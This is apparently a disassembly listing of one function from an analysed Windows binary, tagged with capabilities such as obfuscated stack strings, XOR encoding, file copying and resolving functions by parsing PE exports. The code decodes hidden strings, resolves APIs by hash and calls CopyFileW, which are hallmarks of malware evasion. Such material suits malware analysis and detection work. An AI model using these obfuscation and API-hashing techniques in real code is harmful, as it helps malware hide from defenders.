Function at 0x42b8d0
Capabilities:
Contain obfuscated stackstrings
Copy file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push dword [esp + 4]
call fcn.0042b8f0
add esp, 4
test al, al
je 0x42bff0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xb4
mov dword [esp + 0x94], 0x19a81bcb
mov dword [esp + 0x98], 0xe55ae7a5
mov dword [esp + 0x9c], 0xe156e34b
mov dword [esp + 0xa0], 0xed3eef54
mov dword [esp + 0xa4], 0xe956eb43
mov dword [esp + 0xa8], 0xf5f6f740
mov byte [esp + 0xac], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xfb
xor cl, byte [esp + eax + 0x94]
add cl, 0x19
mov byte [esp + eax + 0x94], cl
inc eax
cmp eax, 0x19
jne 0x42c050
mov dword [esp + 0x14], 0x693c6b38
mov dword [esp + 0x18], 0x6d276f23
mov dword [esp + 0x1c], 0x71277323
mov dword [esp + 0x20], 0x75207724
mov dword [esp + 0x24], 0x79267b2b
mov dword [esp + 0x28], 0x7d397f2b
mov dword [esp + 0x2c], 0x81ca8339
mov dword [esp + 0x30], 0x85d487cf
mov dword [esp + 0x34], 0x89d68bcf
mov dword [esp + 0x38], 0x8ddf8fdd
mov dword [esp + 0x3c], 0x91c693c6
mov dword [esp + 0x40], 0x95d197c9
mov dword [esp + 0x44], 0x99d19bc2
mov dword [esp + 0x48], 0x9dc49fc4
mov dword [esp + 0x4c], 0xa1cea3fb
mov dword [esp + 0x50], 0xa5cda7da
mov dword [esp + 0x54], 0xa9ffabf8
mov dword [esp + 0x58], 0xadc5afdc
mov dword [esp + 0x5c], 0xb1c1b3cb
mov word [esp + 0x60], 0xb7b0
mov byte [esp + 0x64], 0
mov word [esp + 0x62], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x14]
mov esi, eax
and esi, 0x19
xor esi, 0x43472219
mov ecx, eax
and ecx, 0x66
sub ecx, esi
xor ecx, edx
mov edx, ecx
and edx, 1
or ecx, 1
add ecx, edx
add cl, 0x7c
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x51
jne case.default.0x42c16e
lea ebp, [esp + 0x94]
lea ebx, [esp + 0x14]
push ebp
push ebx
call fcn.0043d250
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x44eef4]
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x42c180
sub eax, edi
cmp eax, 0xffffffd9
jge 0x42c1a0
mov eax, 0xffffffff
jmp 0x42c1a3
xor ebx, ebx
jmp 0x42d2a1
add eax, 0x26
push eax
call fcn.0040c710
add esp, 4
mov dword [esp + 0x74], eax
mov dword [esp + 0x14], 0x13f111f4
mov dword [esp + 0x18], 0x1f881d8b
mov dword [esp + 0x1c], 0x1bf319f6
mov dword [esp + 0x20], 0x7e205eb
mov dword [esp + 0x24], 0x39501e3
mov dword [esp + 0x28], 0xfe00d9a
mov dword [esp + 0x2c], 0xbe509e1
mov dword [esp + 0x30], 0x37a835e2
mov dword [esp + 0x34], 0x33dc31dc
mov dword [esp + 0x38], 0x3d3c
mov eax, 0x95e66dc4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x6a199250]
xor edx, eax
mov esi, edx
mov ecx, edx
xor ecx, 0x2b
add ecx, edx
and edx, 0x2b
and esi, 0xd4
add ecx, edx
sub ecx, esi
inc cl
mov byte [esp + eax + 0x6a199250], cl
inc eax
cmp eax, 0x95e66dec
jne 0x42c210
movzx ecx, word [edi]
mov esi, dword [esp + 0x74]
mov eax, esi
test cx, cx
je 0x42c271
mov edx, edi
add edx, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c260
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x42c2a1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c290
mov word [eax], 0
jmp dword [0x44eefc]
push edi
call fcn.0040c720
add esp, 4
xor eax, eax
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x44ef04]
xor eax, eax
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x44ef04]
jmp dword [0x44ef10]
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44efe4]
mov edi, dword [edx]
cmp dword [edx + 0x18], 3
jne case.default.0x42c308
mov ebp, dword [edx + 0x10]
test edi, edi
setne al
test ebp, ebp
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44efec]
test edi, edi
setne al
xor ecx, ecx
test ecx, ecx
setne cl
and cl, al
movzx eax, cl
xor ebp, ebp
jmp dword [eax*4 + 0x44efec]
mov dword [esp + 8], edi
mov dword [esp + 0x10], ebx
mov dword [esp + 0x68], edx
mov ecx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne case.default.0x42c37e
mov dword [esp + 0xc], esi
sub eax, ebp
inc eax
mov ecx, eax
shr ecx, 1
and eax, 2
mov dword [esp + 0x80], ecx
xor ecx, 1
add ecx, eax
push ecx
call fcn.0040c710
add esp, 4
movsx ecx, byte [ebp]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x70], eax
mov edi, dword [esp + 4]
jmp dword [edx*4 + 0x44eff4]
mov byte [eax], cl
inc eax
movsx ecx, byte [edx]
xor ebx, ebx
test ecx, ecx
setne bl
mov ebp, edx
jmp dword [ebx*4 + 0x44eff4]
lea edx, [ebp + 1]
mov esi, ecx
or esi, 0x20
add esi, 0xffffff9f
cmp esi, 5
ja case.default.0x42c3cd
mov esi, ecx
and esi, 0xffffff9e
or ecx, 0xfffffffe
add ecx, esi
add ecx, 0xb
movsx esi, byte [edx]
xor ebx, ebx
test esi, esi
setne bl
jmp dword [ebx*4 + 0x44f00c]
add ecx, 0xffffffd0
cmp ecx, 0xa
jb case.default.0x42c3f7
mov ecx, 0xffffffff
movsx esi, byte [edx]
xor ebx, ebx
test esi, esi
setne bl
jmp dword [ebx*4 + 0x44f00c]
mov edx, esi
or edx, 0x20
add edx, 0xffffff9f
cmp edx, 5
ja case.default.0x42c42e
mov edx, esi
and edx, 0xffffff9e
or esi, 0xfffffffe
add edx, esi
add edx, 0xb
add ebp, 2
shl ecx, 4
or ecx, edx
mov byte [eax], cl
inc eax
movsx ecx, byte [ebp]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x44eff4]
add esi, 0xffffffd0
cmp esi, 0xa
jb case.default.0x42c463
mov esi, 0xffffffff
add ebp, 2
shl ecx, 4
or ecx, esi
mov byte [eax], cl
inc eax
movsx ecx, byte [ebp]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x44eff4]
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [esp + 0x14]
call fcn.0042f390
add esp, 0x10
mov esi, eax
mov dword [esp + 8], 0
mov ecx, dword [case.0x42c3f7.53]
mov ebp, dword [esp + 0x6c]
jmp case.0x42c463.56
mov eax, dword [ebp]
mov dword [esp + 8], eax
xor edi, edi
jmp dword [edi*4 + 0x44f034]
add ebp, 8
mov edi, dword [esp + 4]
nop
nop
nop
nop
jmp ecx
xor ebx, ebx
cmp ebp, edi
setne bl
jmp dword [ebx*4 + 0x44f024]
mov edi, dword [ebp + 4]
mov ebx, edi
shr ebx, 0x1c
shl edi, 4
or edi, 1
xor ebx, edx
xor edi, esi
xor eax, eax
or edi, ebx
sete al
jmp dword [eax*4 + 0x44f02c]
mov edi, 1
jmp dword [edi*4 + 0x44f034]
xor eax, eax
mov edi, dword [esp + 8]
test edi, edi
setne al
jmp dword [eax*4 + 0x44f04c]
mov esi, dword [esp + 0xc]
mov edx, dword [esp + 0x68]
mov ebx, dword [esp + 0x10]
jmp dword [0x44f06c]
mov eax, dword [esp + 0x80]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 0x18], eax
mov eax, 0xffffffff
lea esi, [esp + 0x14]
mov ebx, dword [esp + 0x10]
cmp byte [edi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42c58a
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], edi
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 0
push 0x31f26afb
push dword [0x45304c]
call fcn.004457f0
add esp, 8
lea ecx, [esp + 0x78]
push ecx
push 1
push 0
push 0
lea ecx, [esp + 0xa4]
push ecx
push 0
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44f054]
mov esi, dword [esp + 0xc]
mov edx, dword [esp + 0x68]
jmp dword [0x44f06c]
mov esi, dword [esp + 0xc]
jmp dword [0x44f060]
movzx ecx, byte [edi]
mov eax, esi
test cl, cl
je 0x42c5cb
lea edx, [edi + 1]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42c5c0
mov word [eax], 0x203a
add eax, 2
mov ebp, dword [esp + 0x78]
test ebp, ebp
je 0x42c603
mov ecx, dword [esp + 0x7c]
mov edx, ebp
and edx, 3
je 0x42c607
xor edi, edi
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x42c5e8
add eax, edi
mov edx, ebp
sub edx, edi
mov edi, eax
jmp 0x42c609
mov edi, eax
jmp 0x42c647
mov edx, ebp
cmp ebp, 4
jb 0x42c647
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea edi, [eax + 4]
mov byte [eax + 3], bl
mov eax, edi
add edx, 0xfffffffc
jne 0x42c60e
mov byte [edi], 0xa
push 0xd80d2c4a
push dword [0x453034]
call fcn.004457f0
add esp, 8
push dword [esp + 0x7c]
call eax
mov edi, dword [esp + 8]
jmp case.0x42d0b3.34
mov ebp, eax
mov byte [ebp], 0xa
push 0xd80d2c4a
push dword [0x453034]
call fcn.004457f0
add esp, 8
push dword [esp + 0x7c]
call eax
mov edi, dword [esp + 8]
jmp dword [0x44f068]
movzx ecx, byte [edi]
mov eax, esi
test cl, cl
je 0x42c6bb
lea edx, [edi + 1]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42c6b0
mov word [eax], 0x203a
add eax, 2
mov edi, dword [esp + 0x78]
test edi, edi
je 0x42c670
mov ecx, dword [esp + 0x7c]
mov edx, edi
and edx, 3
je 0x42c710
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + ebp], bl
inc ebp
cmp edx, ebp
jne 0x42c6e0
add eax, ebp
mov edx, edi
sub edx, ebp
mov ebp, eax
cmp edi, 4
jae 0x42c720
jmp 0x42c672
mov edx, edi
cmp edi, 4
jb 0x42c672
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea ebp, [eax + 4]
mov byte [eax + 3], bl
mov eax, ebp
add edx, 0xfffffffc
jne 0x42c720
jmp 0x42c672
inc ebp
mov bl, 1
mov esi, ebp
mov edx, dword [esp + 0x68]
jmp dword [0x44f06c]
push dword [esp + 0x70]
call fcn.0040c720
mov edx, dword [esp + 0x6c]
add esp, 4
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44efe4]
jmp dword [0x44f0b0]
mov dword [esp + 0x14], 0xf338f133
mov dword [esp + 0x18], 0xef0ded08
mov dword [esp + 0x1c], 0xeb7ce97f
mov dword [esp + 0x20], 0xe77fe57a
mov dword [esp + 0x24], 0xe306e17f
mov dword [esp + 0x28], 0x9f099d7f
mov dword [esp + 0x2c], 0x9b04990e
mov dword [esp + 0x30], 0x9709950d
mov dword [esp + 0x34], 0x931c9146
mov dword [esp + 0x38], 0x8f108d10
mov dword [esp + 0x3c], 0x8988
mov byte [esp + 0x40], 0
mov eax, 0x642dccac
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x642dcc98]
xor ecx, eax
add ecx, 0xb1b00a3
mov edx, ecx
and edx, 1
or ecx, 1
add ecx, edx
mov byte [esp + eax - 0x642dcc98], cl
inc eax
cmp eax, 0x642dccd9
jne 0x42c800
push 0
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp dword [0x44ef18]
mov dword [esp + 0x14], 0xf338f133
mov dword [esp + 0x18], 0xef0ded08
mov dword [esp + 0x1c], 0xeb7ce97f
mov dword [esp + 0x20], 0xe77fe57a
mov dword [esp + 0x24], 0xe306e17f
mov dword [esp + 0x28], 0x9f099d7f
mov dword [esp + 0x2c], 0x9b04990e
mov dword [esp + 0x30], 0x9709950d
mov dword [esp + 0x34], 0x931c9146
mov dword [esp + 0x38], 0x8f108d10
mov dword [esp + 0x3c], 0x8988
mov byte [esp + 0x40], 0
mov eax, 0x642dccac
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x642dcc98]
xor ecx, eax
add ecx, 0xb1b00a3
mov edx, ecx
and edx, 1
or ecx, 1
add ecx, edx
mov byte [esp + eax - 0x642dcc98], cl
inc eax
cmp eax, 0x642dccd9
jne 0x42c8a0
push 0
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp case.0x42c16e.6
push 0x60
push 3
push 0x120089
push ebp
push esi
call fcn.00446250
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
xor ebp, ebp
jmp dword [eax*4 + 0x44ef1c]
mov edi, ebp
mov esi, dword [esp + 0x74]
jmp dword [0x44ef8c]
jmp dword [0x44ef98]
push esi
call fcn.0040c720
add esp, 4
nop
nop
nop
nop
push esi
call fcn.0040c720
add esp, 4
jmp dword [0x44efa0]
xor eax, eax
mov ebp, dword [esp + 4]
cmp edi, ebp
sete al
jmp dword [eax*4 + 0x44efa4]
mov dword [esp + 0x6c], edi
sub ebp, edi
sar ebp, 3
imul eax, ebp, 0x421
push eax
call fcn.0040c710
add esp, 4
mov dword [esp], eax
mov eax, dword [0x45303c]
mov dword [esp + 0x14], 0xc97ecb17
mov dword [esp + 0x18], 0xc55bc759
mov dword [esp + 0x1c], 0xc156c35b
mov dword [esp + 0x20], 0xbd2ebf7f
mov dword [esp + 0x24], 0xb906bb2c
mov dword [esp + 0x28], 0xb53ab727
mov dword [esp + 0x2c], 0xb169b32b
mov dword [esp + 0x30], 0xad03af14
mov dword [esp + 0x34], 0xa931ab20
mov dword [esp + 0x38], 0xa535a737
mov dword [esp + 0x3c], 0xa136a300
mov dword [esp + 0x40], 0x9d039f31
mov dword [esp + 0x44], 0x990e9b03
mov dword [esp + 0x48], 0x951c974a
mov dword [esp + 0x4c], 0x91089308
mov word [esp + 0x50], 0x8f90
mov dword [esp + 0x52], 0
mov word [esp + 0x56], 0
mov ecx, 0x1fa7a533
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x1fa7a51f]
lea esi, [ecx - 0x1fa7a500]
and esi, edx
mov edi, ecx
or edi, edx
xor edi, esi
lea esi, [edi + edi]
not esi
add esi, edi
and esi, ecx
mov edi, esi
and edi, 2
mov ebp, esi
or ebp, 0xfffffffd
inc ebp
mov ebx, esi
and ebx, 0x1fa7a5fd
imul ebx, ebp
or esi, 2
imul esi, edi
sub ebx, esi
add edx, ecx
add ebx, edx
and edx, 1
or ebx, 1
add ebx, edx
mov byte [esp + ecx - 0x1fa7a51f], bl
inc ecx
cmp ecx, 0x1fa7a577
jne 0x42ca00
lea esi, [esp + 0xb0]
push esi
push 0
push 0
push 0x1e
lea ebp, [esp + 0x24]
push ebp
push 0
call eax
mov edi, dword [esp + 0xb0]
test edi, edi
jns 0x42cc87
mov eax, 0xffffffff
jmp 0x42cc8a
lea eax, [esp + 0x78]
push 0
push eax
push dword [esp + 0x9c]
call fcn.00446550
add esp, 0xc
not eax
shr eax, 0x1f
xor esi, esi
xor ebp, ebp
jmp dword [eax*4 + 0x44ef24]
mov esi, dword [esp + 0x78]
lea eax, [esi + 1]
push eax
call fcn.0040c710
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0xa0]
call fcn.00446610
add esp, 0x10
not eax
shr eax, 0x1f
xor esi, esi
xor ebp, ebp
jmp dword [eax*4 + 0x44ef2c]
mov esi, dword [esp + 0x78]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c710
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x70], eax
mov ecx, eax
push esi
push edi
call fcn.0042ef40
movzx eax, al
xor esi, esi
xor ebp, ebp
jmp dword [eax*4 + 0x44ef34]
mov dword [esp + 0x80], edi
mov dword [esp + 0x14], 0x85788e69
mov dword [esp + 0x18], 0x72807099
mov dword [esp + 0x1c], 0x95756145
mov dword [esp + 0x20], 0x785b6c9e
mov dword [esp + 0x24], 0x9e6d6898
mov dword [esp + 0x28], 0x60674051
mov dword [esp + 0x2c], 0xad989095
mov dword [esp + 0x30], 0x3bad
mov byte [esp + 0x34], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x85
xor cl, byte [esp + eax + 0x14]
add cl, 0x67
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x21
jne case.default.0x42cbbb
mov ecx, dword [esp + 0x70]
push ebx
call fcn.0042f180
xor ecx, ecx
test eax, eax
setne cl
xor esi, esi
xor ebp, ebp
jmp dword [ecx*4 + 0x44ef3c]
mov eax, dword [case.0x42c16e.15]
mov edi, dword [esp + 0x80]
nop
nop
jmp eax
jmp dword [0x44ef5c]
mov ebx, dword [esp + 0x70]
mov ecx, ebx
call fcn.0042f2f0
push ebx
call fcn.0040c720
add esp, 4
nop
nop
nop
nop
jmp dword [0x44ef6c]
jmp dword [0x44ef74]
mov dword [esp + 4], esi
push edi
call fcn.0040c720
add esp, 4
jmp dword [0x44ef7c]
xor ebx, ebx
test edi, edi
jne 0x42d26d
jmp 0x42d2a1
mov dword [esp + 4], esi
jmp dword [0x44ef7c]
mov eax, dword [esp + 0x94]
mov dword [esp + 0x14], 0x282b2a25
mov word [esp + 0x18], 0
xor ecx, ecx
mov edx, ecx
add dl, 0x37
xor dl, byte [esp + ecx + 0x14]
add dl, 0xed
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 6
jne 0x42cc40
mov ecx, dword [0x453040]
test ecx, ecx
je case.0x42cbbb.15
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x453044]
cmp dword [edi + esi*8], 0x7e776f1
je 0x42d167
inc esi
cmp ecx, esi
jne 0x42cc70
jmp case.0x42cbbb.15
lea eax, [edi + edi]
push eax
call fcn.0040c710
add esp, 4
mov dword [esp + 0x74], eax
mov eax, dword [0x45303c]
mov dword [esp + 0x14], 0x2152277b
mov dword [esp + 0x18], 0x5dbf23b1
mov dword [esp + 0x1c], 0x59ca5f3f
mov dword [esp + 0x20], 0x55ca5b1b
mov dword [esp + 0x24], 0x512a57c4
mov dword [esp + 0x28], 0x4dde5333
mov dword [esp + 0x2c], 0x49114f2f
mov dword [esp + 0x30], 0x45274b2c
mov dword [esp + 0x34], 0x41d947c8
mov dword [esp + 0x38], 0x7dd54323
mov dword [esp + 0x3c], 0x79ea7f18
mov dword [esp + 0x40], 0x75e77be9
mov dword [esp + 0x44], 0x71e27717
mov dword [esp + 0x48], 0x6dfc7326
mov dword [esp + 0x4c], 0x69f06ff0
mov word [esp + 0x50], 0x6b68
mov dword [esp + 0x52], 0
mov word [esp + 0x56], 0
mov ecx, 0x1cbfe7b9
nop
movzx edx, byte [esp + ecx - 0x1cbfe7a5]
xor edx, ecx
mov ebx, edx
and ebx, 1
xor edx, 1
lea edx, [edx + ebx*2]
add dl, 0x62
mov byte [esp + ecx - 0x1cbfe7a5], dl
inc ecx
cmp ecx, 0x1cbfe7fd
jne 0x42cd30
push esi
push edi
mov esi, dword [esp + 0x7c]
push esi
push 0x1e
push ebp
push 0
call eax
lea eax, [esp + 0x88]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00446250
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44efac]
xor ebx, ebx
mov esi, dword [esp]
mov ebp, dword [esp + 4]
jmp dword [0x44f084]
push dword [esp + 0x74]
call fcn.0040c720
add esp, 4
mov ecx, ebx
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44f08c]
mov dword [esp + 0xc], esi
mov byte [esi], 0
mov dword [esp + 0x14], 0x333e39c9
mov dword [esp + 0x18], 0x37232a35
mov dword [esp + 0x1c], 0x30343239
mov dword [esp + 0x20], 0x3e2ed2f7
mov dword [esp + 0x24], 0xcbed2439
mov dword [esp + 0x28], 0x2137222f
mov dword [esp + 0x2c], 0x1f22e327
mov dword [esp + 0x30], 0x9520
mov edx, 0x8b152ba2
mov esi, 0x74ead45d
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx + 0x74ead472]
mov ebx, edi
xor ebx, edx
or ebx, esi
mov eax, ebx
or al, 2
inc al
mov ecx, ebx
shr cl, 1
and cl, 1
mul cl
mov ecx, eax
add cl, al
mov eax, edi
add cl, al
test bl, 2
sete al
not bl
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0xd6
mov byte [esp + edx + 0x74ead472], al
inc edx
dec esi
cmp edx, 0x8b152bc2
jne 0x42ce10
mov eax, dword [esp]
mov edx, dword [esp + 0xc]
sub edx, eax
mov ecx, dword [esp + 0xc8]
push edx
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.0040d180
mov ebx, eax
jmp dword [0x44f098]
jmp dword [0x44f09c]
jmp dword [0x44f09c]
mov edi, dword [esp + 0x6c]
jmp dword [0x44f0a4]
lea eax, [esp + 0x84]
push 0
push eax
push dword [esp + 0x90]
call fcn.00446550
add esp, 0xc
not eax
shr eax, 0x1f
xor edx, edx
xor ebx, ebx
mov esi, dword [esp]
jmp dword [eax*4 + 0x44efb4]
mov esi, dword [esp + 0x84]
lea eax, [esi + 1]
push eax
call fcn.0040c710
add esp, 4
push 0
push esi
mov dword [esp + 0x98], eax
push eax
push dword [esp + 0x94]
call fcn.00446610
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
mov esi, dword [esp]
jmp dword [eax*4 + 0x44efbc]
mov edi, dword [esp + 0x90]
jmp dword [0x44efc4]
mov esi, dword [esp + 0x84]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c710
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push edi
call fcn.0042ef40
nop
nop
mov esi, dword [esp + 0x84]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c710
add esp, 4
mov ebx, eax
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push edi
call fcn.0042ef40
jmp dword [0x44efd0]
mov dword [esp + 0x8c], ebx
movzx eax, al
xor ebx, ebx
mov esi, dword [esp]
jmp dword [eax*4 + 0x44efd4]
mov dword [esp + 0x14], 0x2b5c1a77
mov dword [esp + 0x18], 0x5e2c542f
mov dword [esp + 0x1c], 0x2b5f4b63
mov dword [esp + 0x20], 0x44695026
mov dword [esp + 0x24], 0x32475424
mov dword [esp + 0x28], 0x31316a77
mov dword [esp + 0x2c], 0x33414c32
mov dword [esp + 0x30], 0x43454c63
mov word [esp + 0x34], 0xa945
mov dword [esp + 0x36], 0
mov word [esp + 0x3a], 0
mov eax, 0xa1
mov ecx, 0x5e
lea ebp, [esp + 0x14]
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x4a]
lea edx, [eax - 0x5e277200]
mov edi, ecx
and edi, esi
xor edx, esi
add edx, esi
sub edx, edi
and esi, eax
lea edi, [edx + edx]
not edi
add edi, edx
mov ebx, edx
and ebx, 0x6d1a8349
and edi, 0x92e57cb6
or edi, ebx
xor edi, esi
xor edi, 0x6d1a8349
not edx
and edx, esi
or edx, edi
mov esi, edx
and esi, 0x293ac929
xor edx, 0x293ac929
lea edx, [edx + esi*2]
add edx, 0xc2ce7924
mov esi, edx
xor esi, 0x23
and edx, 0x5c
add edx, edx
sub edx, esi
mov byte [esp + ecx - 0x4a], dl
dec eax
inc ecx
cmp eax, 0x79
jne case.default.0x42d0b3
mov ecx, dword [esp + 0x8c]
push ebp
call fcn.0042f180
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
mov esi, dword [esp]
jmp dword [ecx*4 + 0x44efdc]
jmp dword [0x44f074]
mov edi, dword [esp + 0x8c]
mov ecx, edi
call fcn.0042f2f0
push edi
call fcn.0040c720
add esp, 4
xor edx, edx
jmp dword [0x44f07c]
xor edx, edx
jmp dword [0x44f07c]
push dword [esp + 0x90]
call fcn.0040c720
xor edx, edx
add esp, 4
mov dword [esp + 0x10], ebx
mov ebx, esi
mov eax, dword [esp + 0x88]
mov dword [esp + 0x14], 0x282b2a25
mov word [esp + 0x18], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, edx
add cl, 0x37
xor cl, byte [esp + edx + 0x14]
add cl, 0xed
mov byte [esp + edx + 0x14], cl
inc edx
cmp edx, 6
jne 0x42d120
mov ecx, dword [0x453040]
test ecx, ecx
je 0x42d21c
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x453044]
cmp dword [edi + esi*8], 0x7e776f1
je 0x42d210
inc esi
cmp ecx, esi
jne 0x42d150
jmp 0x42d21c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x42cbbb.15
push eax
push 1
push dword [0x453048]
push ecx
call fcn.00443090
add esp, 0x10
jmp case.0x42cbbb.15
jmp dword [0x44ef84]
mov eax, dword [esp + 0x94]
mov dword [esp + 0x14], 0x282b2a25
mov word [esp + 0x18], 0
xor ecx, ecx
nop
nop
mov edx, ecx
add dl, 0x37
xor dl, byte [esp + ecx + 0x14]
add dl, 0xed
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 6
jne 0x42d1b0
mov ecx, dword [0x453040]
test ecx, ecx
je 0x42d190
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x453044]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x42d1f0
inc esi
cmp ecx, esi
jne 0x42d1e0
jmp 0x42d190
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x42d190
push eax
push 1
push dword [0x453048]
push ecx
call fcn.00443090
add esp, 0x10
jmp dword [0x44ef84]
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42d2ae
mov ebp, dword [esp + 4]
mov esi, ebx
mov ebx, dword [esp + 0x10]
jmp dword [0x44f084]
mov ecx, ebx
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44f08c]
mov edi, dword [esp + 0x6c]
mov ebx, ecx
jmp dword [0x44f0a4]
push dword [esp]
call fcn.0040c720
add esp, 4
jmp dword [0x44f0b0]
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44f0b8]
and bl, 1
test edi, edi
je 0x42d2a1
mov esi, edi
cmp edi, ebp
jne 0x42d287
jmp 0x42d2a1
add esi, 8
cmp esi, ebp
je 0x42d298
mov eax, dword [esi]
test eax, eax
je 0x42d280
push eax
call fcn.0040c720
add esp, 4
jmp 0x42d280
push edi
call fcn.0040c720
add esp, 4
mov eax, ebx
add esp, 0xb4
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
push 1
push dword [0x453048]
push ecx
call fcn.00443090
add esp, 0x10
mov ebp, dword [esp + 4]
mov esi, ebx
mov ebx, dword [esp + 0x10]
jmp dword [0x44f084]
add eax, 8
xor edi, edi
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor esi, esi
mov dword [esp + 0xc], 0
xor ebp, ebp
jmp dword [eax*4 + 0x44ef44]
mov eax, dword [esp]
mov dword [ebp + eax + 4], ecx
mov esi, dword [esp + 4]
add esi, 8
mov ecx, dword [esp + 0x10]
